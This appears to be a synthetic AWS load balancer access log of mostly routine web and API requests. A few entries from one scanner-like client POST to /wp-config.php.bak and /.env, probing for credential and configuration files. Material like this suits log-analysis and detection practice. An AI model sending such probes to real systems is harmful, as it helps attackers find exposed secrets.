arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b7a3-fbbf632d2df84df79d24ef99" "prod-api-alb.example.com" "-" 9 2024-11-01T00:00:19.346602Z "forward" "-" "-" "10.0.230.192:443" "200" "-" "-" +https 2024-11-01T00:00:19.559984Z prod-web-alb 141.206.237.63:33642 10.0.213.200:443 0.010845 0.370309 0.088686 404 404 725 5063 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b7a3-2d406c3869564a5c9c844333" "prod-web-alb.example.com" "-" 1 2024-11-01T00:00:19.559984Z "forward" "-" "-" "10.0.213.200:443" "404" "-" "-" +https 2024-11-01T00:00:20.167919Z prod-api-alb 185.245.85.167:60234 10.0.141.248:443 0.039155 0.013837 0.093931 302 302 527 3332 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b7a4-968362d2194242ad933bff16" "prod-api-alb.example.com" "-" 7 2024-11-01T00:00:20.167919Z "forward" "-" "-" "10.0.141.248:443" "302" "-" "-" +https 2024-11-01T00:00:21.863204Z prod-web-alb 181.228.178.113:20465 10.0.74.21:443 0.082876 0.494840 0.028218 200 200 935 7850 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b7a5-d5711ea4eeaf4598a4448cd1" "prod-web-alb.example.com" "-" 3 2024-11-01T00:00:21.863204Z "forward" "-" "-" "10.0.74.21:443" "200" "-" "-" +https 2024-11-01T00:00:22.246381Z prod-web-alb 197.20.230.163:33331 10.0.70.92:443 0.045293 0.242906 0.059836 302 302 594 1349 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b7a6-be4beb8e71444940b73e5007" "prod-web-alb.example.com" "-" 6 2024-11-01T00:00:22.246381Z "forward" "-" "-" "10.0.70.92:443" "302" "-" "-" +https 2024-11-01T00:00:22.907555Z prod-web-alb 88.203.87.199:49380 10.0.251.58:443 0.087839 0.069262 0.094609 301 301 501 284 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b7a6-d4a1594a39294c5e99078ee7" "prod-web-alb.example.com" "-" 7 2024-11-01T00:00:22.907555Z "forward" "-" "-" "10.0.251.58:443" "301" "-" "-" +https 2024-11-01T00:00:24.109505Z prod-api-alb 133.155.181.3:33170 10.0.13.9:443 0.022922 0.045376 0.005787 200 200 441 10480 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b7a8-4864537171bf4129a02a3165" "prod-api-alb.example.com" "-" 10 2024-11-01T00:00:24.109505Z "forward" "-" "-" "10.0.13.9:443" "200" "-" "-" +https 2024-11-01T00:00:25.883881Z staging-alb 76.197.103.5:57816 11.190.209.133:443 0.044726 0.210111 0.076520 302 302 552 1878 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b7a9-0a106ad6ac6541a68b6f6152" "staging-alb.example.com" "-" 0 2024-11-01T00:00:25.883881Z "forward" "-" "-" "11.190.209.133:443" "302" "-" "-" +https 2024-11-01T00:00:26.189244Z prod-api-alb 75.198.7.229:41852 10.0.226.231:443 0.013751 0.424697 0.076497 404 404 652 10822 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b7aa-e99c6bf4c56940578ef84da0" "-" "-" 10 2024-11-01T00:00:26.189244Z "forward" "-" "-" "10.0.226.231:443" "404" "-" "-" +https 2024-11-01T00:00:27.721045Z prod-api-alb 122.203.134.213:40976 10.0.28.48:443 0.064055 0.406839 0.050347 200 200 80 9379 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b7ab-579ea36724f2484bba5252d6" "prod-api-alb.example.com" "-" 9 2024-11-01T00:00:27.721045Z "forward" "-" "-" "10.0.28.48:443" "200" "-" "-" +https 2024-11-01T00:00:27.932693Z staging-alb 45.179.246.84:61910 197.17.212.50:8080 0.141885 0.077740 0.146341 200 200 557 6637 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b7ab-96a39a370cea43f8904af9d2" "staging-alb.example.com" "-" 0 2024-11-01T00:00:27.932693Z "forward" "-" "-" "197.17.212.50:8080" "200" "-" "-" +https 2024-11-01T00:00:28.674055Z prod-api-alb 56.172.118.230:57961 10.0.212.126:443 0.072892 0.128158 0.049327 200 200 945 7790 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b7ac-e19660a5f2b74e4b842b90ed" "prod-api-alb.example.com" "-" 1 2024-11-01T00:00:28.674055Z "forward" "-" "-" "10.0.212.126:443" "200" "-" "-" +https 2024-11-01T00:00:30.405374Z prod-api-alb 82.57.31.72:17796 10.0.107.254:443 0.077095 0.437403 0.031475 200 200 533 1223 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b7ae-6693de7c897440eebf530570" "prod-api-alb.example.com" "-" 6 2024-11-01T00:00:30.405374Z "forward" "-" "-" "10.0.107.254:443" "200" "-" "-" +https 2024-11-01T00:00:31.770433Z prod-api-alb 246.211.52.166:38964 10.0.176.199:443 0.059010 0.158208 0.004585 200 200 516 10093 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b7af-022a7fc91623428596c93586" "prod-api-alb.example.com" "-" 7 2024-11-01T00:00:31.770433Z "forward" "-" "-" "10.0.176.199:443" "200" "-" "-" +https 2024-11-01T00:00:32.774742Z prod-api-alb 59.217.16.68:13334 10.0.50.32:443 0.031536 0.311163 0.058981 200 200 374 13172 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b7b0-df324b0fec7d4e42b93d8bef" "prod-api-alb.example.com" "-" 4 2024-11-01T00:00:32.774742Z "forward" "-" "-" "10.0.50.32:443" "200" "-" "-" +https 2024-11-01T00:00:33.358565Z prod-web-alb 100.152.83.154:50345 10.0.30.204:443 0.037056 0.005191 0.028076 200 200 241 7345 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b7b1-867a595cac714b7bb61df8a1" "prod-web-alb.example.com" "-" 7 2024-11-01T00:00:33.358565Z "forward" "-" "-" "10.0.30.204:443" "200" "-" "-" +http 2024-11-01T00:00:34.458188Z staging-alb 175.102.29.151:37322 97.247.115.120:443 0.010795 0.364374 0.102676 301 301 860 9102 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b7b2-7066de9d9e30415eae5494fc" "staging-alb.example.com" "-" 6 2024-11-01T00:00:34.458188Z "forward" "-" "-" "97.247.115.120:443" "301" "-" "-" +http 2024-11-01T00:00:35.659550Z staging-alb 226.18.32.196:28677 165.106.18.109:443 0.149457 0.213764 0.110305 404 404 721 6133 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b7b3-3ce91d34ab59441380f356c1" "staging-alb.example.com" "-" 5 2024-11-01T00:00:35.659550Z "forward" "-" "-" "165.106.18.109:443" "404" "-" "-" +https 2024-11-01T00:00:36.352705Z staging-alb 80.179.218.40:40560 95.215.76.152:443 0.027605 0.465910 0.128424 404 404 652 1837 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b7b4-d794e633b25640b180bd9d88" "staging-alb.example.com" "-" 0 2024-11-01T00:00:36.352705Z "forward" "-" "-" "95.215.76.152:443" "404" "-" "-" +https 2024-11-01T00:00:38.296749Z prod-api-alb 146.73.149.74:21271 10.0.18.121:443 0.076204 0.209314 0.064350 200 200 586 13638 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b7b6-88c666419d6a4fb8b211ce98" "prod-api-alb.example.com" "-" 4 2024-11-01T00:00:38.296749Z "forward" "-" "-" "10.0.18.121:443" "200" "-" "-" +https 2024-11-01T00:00:39.884757Z prod-web-alb 58.37.9.152:18175 10.0.255.159:443 0.070547 0.067578 0.033309 200 200 457 4309 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b7b7-d41f987713c34cd888ac5143" "prod-web-alb.example.com" "-" 4 2024-11-01T00:00:39.884757Z "forward" "-" "-" "10.0.255.159:443" "200" "-" "-" +https 2024-11-01T00:00:41.325597Z prod-api-alb 87.148.179.91:56129 10.0.202.104:443 0.062058 0.037410 0.041006 302 302 5 12512 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b7b9-262f347148654265b23a6491" "prod-api-alb.example.com" "-" 10 2024-11-01T00:00:41.325597Z "forward" "-" "-" "10.0.202.104:443" "302" "-" "-" +https 2024-11-01T00:00:41.713268Z prod-web-alb 93.74.215.107:31317 10.0.180.218:443 0.023413 0.029734 0.031938 200 200 184 8505 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b7b9-ea58230e1daa4a038bb2c39d" "prod-web-alb.example.com" "-" 7 2024-11-01T00:00:41.713268Z "forward" "-" "-" "10.0.180.218:443" "200" "-" "-" +http 2024-11-01T00:00:43.127861Z staging-alb 82.202.156.196:55132 132.76.152.132:8080 0.112994 0.504409 0.110373 404 404 700 7370 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b7bb-8b4f3232c99744caa7f5ef02" "staging-alb.example.com" "-" 3 2024-11-01T00:00:43.127861Z "forward" "-" "-" "132.76.152.132:8080" "404" "-" "-" +https 2024-11-01T00:00:43.869790Z prod-web-alb 219.124.252.100:26849 10.0.201.117:443 0.092322 0.252558 0.022716 200 200 226 11581 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b7bb-04bbf6de661048cdb5320f58" "prod-web-alb.example.com" "-" 10 2024-11-01T00:00:43.869790Z "forward" "-" "-" "10.0.201.117:443" "200" "-" "-" +https 2024-11-01T00:00:45.671565Z prod-web-alb 7.173.90.165:14406 10.0.185.152:443 0.062632 0.397466 0.097769 200 200 437 2506 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b7bd-4866675c953042b2b5620cd1" "prod-web-alb.example.com" "-" 8 2024-11-01T00:00:45.671565Z "forward" "-" "-" "10.0.185.152:443" "200" "-" "-" +https 2024-11-01T00:00:47.534419Z prod-api-alb 165.172.4.205:31707 10.0.119.72:443 0.025834 0.088426 0.086136 404 404 446 2525 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b7bf-b2be73d691bb4c6389d41fab" "prod-api-alb.example.com" "-" 5 2024-11-01T00:00:47.534419Z "forward" "-" "-" "10.0.119.72:443" "404" "-" "-" +https 2024-11-01T00:00:47.715436Z prod-web-alb 169.98.115.90:45110 10.0.120.159:443 0.014541 0.172269 0.000918 301 301 321 12934 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b7bf-332a0074a6ca4b258b6d4626" "prod-web-alb.example.com" "-" 5 2024-11-01T00:00:47.715436Z "forward" "-" "-" "10.0.120.159:443" "301" "-" "-" +http 2024-11-01T00:00:49.273475Z staging-alb 51.10.158.230:46019 10.20.170.244:80 0.146469 0.657531 0.069524 200 200 194 7625 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b7c1-51a4bcbcd51b40d5909bd3bd" "staging-alb.example.com" "-" 8 2024-11-01T00:00:49.273475Z "forward" "-" "-" "10.20.170.244:80" "200" "-" "-" +https 2024-11-01T00:00:50.896555Z staging-alb 120.136.61.140:49656 128.188.230.138:80 0.054335 0.165390 0.117851 200 200 559 13300 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b7c2-1a82aee408c549f6a80c5c24" "staging-alb.example.com" "-" 1 2024-11-01T00:00:50.896555Z "forward" "-" "-" "128.188.230.138:80" "200" "-" "-" +https 2024-11-01T00:00:52.560914Z prod-api-alb 205.145.143.142:60091 10.0.224.114:443 0.048540 0.125391 0.016573 200 200 232 14342 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b7c4-2eeb45143aa04f8aab35c6b5" "prod-api-alb.example.com" "-" 7 2024-11-01T00:00:52.560914Z "forward" "-" "-" "10.0.224.114:443" "200" "-" "-" +https 2024-11-01T00:00:52.687178Z staging-alb 167.0.179.80:23630 72.54.250.248:80 0.113393 0.684245 0.031617 200 200 124 10476 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b7c4-b805f6325ca144f3bdd9f729" "staging-alb.example.com" "-" 10 2024-11-01T00:00:52.687178Z "forward" "-" "-" "72.54.250.248:80" "200" "-" "-" +https 2024-11-01T00:00:53.142315Z prod-api-alb 191.174.158.110:39495 10.0.222.60:443 0.045770 0.419616 0.090852 200 200 133 6758 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b7c5-20e9172b3a7d486fbc31a42b" "prod-api-alb.example.com" "-" 3 2024-11-01T00:00:53.142315Z "forward" "-" "-" "10.0.222.60:443" "200" "-" "-" +http 2024-11-01T00:00:54.185178Z staging-alb 185.181.2.252:24368 231.68.107.148:80 0.138767 0.259332 0.058524 302 302 883 8825 "POST /wp-config.php.bak HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b7c6-e7272616666044fbb8c46dc5" "-" "-" 10 2024-11-01T00:00:54.185178Z "forward" "-" "-" "231.68.107.148:80" "302" "-" "-" +https 2024-11-01T00:00:54.905299Z prod-api-alb 209.209.39.7:43693 10.0.150.251:443 0.011638 0.096017 0.019025 301 301 773 2811 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b7c6-83bbfe3d194c41608c9e3de1" "prod-api-alb.example.com" "-" 2 2024-11-01T00:00:54.905299Z "forward" "-" "-" "10.0.150.251:443" "301" "-" "-" +https 2024-11-01T00:00:55.276491Z prod-api-alb 172.133.244.159:47832 10.0.246.96:443 0.073084 0.363609 0.059318 200 200 750 14495 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b7c7-deb1819d226c4413a6a8a541" "prod-api-alb.example.com" "-" 2 2024-11-01T00:00:55.276491Z "forward" "-" "-" "10.0.246.96:443" "200" "-" "-" +https 2024-11-01T00:00:56.845603Z staging-alb 1.181.78.28:11584 202.26.62.255:8080 0.054309 0.298651 0.138873 404 404 635 744 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b7c8-12c2878dfdab44dcb395fb11" "staging-alb.example.com" "-" 7 2024-11-01T00:00:56.845603Z "forward" "-" "-" "202.26.62.255:8080" "404" "-" "-" +https 2024-11-01T00:00:57.405593Z staging-alb 185.181.2.252:10227 120.7.118.200:443 0.098888 0.745798 0.040788 301 301 542 6433 "POST /wp-config.php.bak HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b7c9-4e6b61f3ab64421191c64312" "-" "-" 3 2024-11-01T00:00:57.405593Z "forward" "-" "-" "120.7.118.200:443" "301" "-" "-" +https 2024-11-01T00:00:58.116096Z staging-alb 40.131.127.188:31434 92.23.107.158:8080 0.015842 0.132840 0.136227 200 200 226 4966 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b7ca-d6193453de69447683882546" "staging-alb.example.com" "-" 9 2024-11-01T00:00:58.116096Z "forward" "-" "-" "92.23.107.158:8080" "200" "-" "-" +https 2024-11-01T00:00:58.974023Z staging-alb 169.230.191.57:38370 184.86.129.16:8080 0.042606 0.349520 0.087488 200 200 361 4356 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b7ca-b3f77e2fe5de48efb81a1cec" "staging-alb.example.com" "-" 1 2024-11-01T00:00:58.974023Z "forward" "-" "-" "184.86.129.16:8080" "200" "-" "-" +http 2024-11-01T00:00:59.691793Z staging-alb 13.89.36.185:58763 222.197.220.87:8080 0.124707 0.591863 0.023238 200 200 265 13452 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b7cb-01f8c41f88c542bd9c753c73" "staging-alb.example.com" "-" 9 2024-11-01T00:00:59.691793Z "forward" "-" "-" "222.197.220.87:8080" "200" "-" "-" +http 2024-11-01T00:01:01.388204Z staging-alb 8.140.111.121:38275 155.229.118.183:8080 0.002918 0.033326 0.019745 200 200 958 3195 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b7cd-6b9e289ef1b849e8adbaedfa" "staging-alb.example.com" "-" 1 2024-11-01T00:01:01.388204Z "forward" "-" "-" "155.229.118.183:8080" "200" "-" "-" +https 2024-11-01T00:01:03.226402Z staging-alb 105.28.223.192:47858 17.20.212.161:443 0.049914 0.040228 0.135972 200 200 975 10124 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b7cf-0bc7d31395984135b8c769c2" "staging-alb.example.com" "-" 2 2024-11-01T00:01:03.226402Z "forward" "-" "-" "17.20.212.161:443" "200" "-" "-" +https 2024-11-01T00:01:05.151957Z prod-web-alb 239.110.149.121:37515 10.0.135.193:443 0.012323 0.374608 0.053848 404 404 410 9680 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b7d1-81853c798fc84040ab2bc704" "prod-web-alb.example.com" "-" 10 2024-11-01T00:01:05.151957Z "forward" "-" "-" "10.0.135.193:443" "404" "-" "-" +https 2024-11-01T00:01:06.196130Z staging-alb 172.34.241.223:54754 17.36.80.136:80 0.102913 0.166100 0.047028 200 200 220 9965 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b7d2-11f1929d4c17465d86c98960" "staging-alb.example.com" "-" 7 2024-11-01T00:01:06.196130Z "forward" "-" "-" "17.36.80.136:80" "200" "-" "-" +https 2024-11-01T00:01:06.805981Z prod-web-alb 91.80.179.160:19004 10.0.29.239:443 0.070885 0.076462 0.036353 200 200 678 2208 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b7d2-c4ce43a68a0d427eada63796" "prod-web-alb.example.com" "-" 5 2024-11-01T00:01:06.805981Z "forward" "-" "-" "10.0.29.239:443" "200" "-" "-" +https 2024-11-01T00:01:07.440209Z prod-api-alb 185.181.2.252:11327 10.0.149.59:443 0.099595 0.009463 0.081914 301 301 381 6814 "POST /.env HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b7d3-44f6eca30b5648d28fd5a526" "-" "-" 5 2024-11-01T00:01:07.440209Z "forward" "-" "-" "10.0.149.59:443" "301" "-" "-" +https 2024-11-01T00:01:08.912942Z prod-api-alb 107.164.184.95:31483 10.0.34.125:443 0.070689 0.204336 0.035605 404 404 892 6425 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b7d4-11db8bfc56d74730bb9813d0" "prod-api-alb.example.com" "-" 8 2024-11-01T00:01:08.912942Z "forward" "-" "-" "10.0.34.125:443" "404" "-" "-" +https 2024-11-01T00:01:09.963283Z prod-web-alb 112.103.15.194:51169 10.0.9.235:443 0.081627 0.340064 0.032162 302 302 696 5295 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 